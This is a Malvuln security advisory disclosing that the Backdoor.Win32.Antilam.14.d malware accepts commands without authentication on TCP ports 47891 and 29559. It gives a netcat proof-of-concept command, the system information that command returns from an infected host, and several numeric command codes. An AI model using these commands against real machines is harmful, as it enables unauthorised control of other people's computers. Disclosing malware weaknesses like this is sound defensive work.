Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a53351e8fa0cb4f7db3d0250387a0e4f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Antilam.14.d Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 47891, 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 - 116 and perform various actions on the infected host. For instance to logout the remote system use 033. Type: PE32 MD5: a53351e8fa0cb4f7db3d0250387a0e4f Vuln ID: MVID-2021-0214 Dropped files: scandisk.exe Disclosure: 05/15/2021 Exploit/PoC: nc64.exe x.x.x.x 47891 001 + Enter (Gets system info) 001╧α∩Ωα Windows: C:\WINDOWS ╧α∩Ωα System: ╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\ ┬σ≡±Φ Windows: Windows NT 6.2 9200 ╠Φφ≤≥ Γ Windows: 774 ╚∞ Ωε∞∩α: DESKTOP-2B1KWJP ╚∞ ■τσ≡α: Victim ▀τ√Ω Windows: English (United States) ╨ατ≡σ°σφΦσ: 1593x810 NumLock: Off CapsLock: Off ScrollLock: Off ╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α ╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,498,405,888 ╒ε±≥: DESKTOP-2B1KWJP 000Taskbar ±Ω≡√δ± ...005 000Monitor Γ√Ωδ■≈σφ...008 000Ctrl+Alt+Del Γ√Ωδ■≈σφ...010 000CapsLock Γ√Ωδ■≈σφ...011 000NumLock Γ√Ωδ■≈σφ...012 000CD-ROM ταΩ≡√≥...015 01511:24 PM|5/14/2021018 000Mouse was been unlocked...019 020500022 9110916023tor: Administrator Command Prompt Promptrator) 000╬Ωφε ταΩ≡√≥ε...024 024Bσ≡±Φ ±σ≡Γσ≡α - 1.4b029 029Backdoor.Win32.Antilam.14.d.a53351e8fa0cb4f7db3d0250387a0e4f031 112C:\Users\Victim\AppData\Local\Temp\scrsm.src115 000Web browser ε≥Ω≡√≥...120 000Web browser ε≥Ω≡√≥...0130 000╬Ωφε ±Γσ≡φ≤≥ε...022 9110916022 Hacker [DESKTOP-2B1KWJP\Victim]+ (Administrator) Other misc commands: 115 starts packman animation that eats the victims screen 116 stops packman animation Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).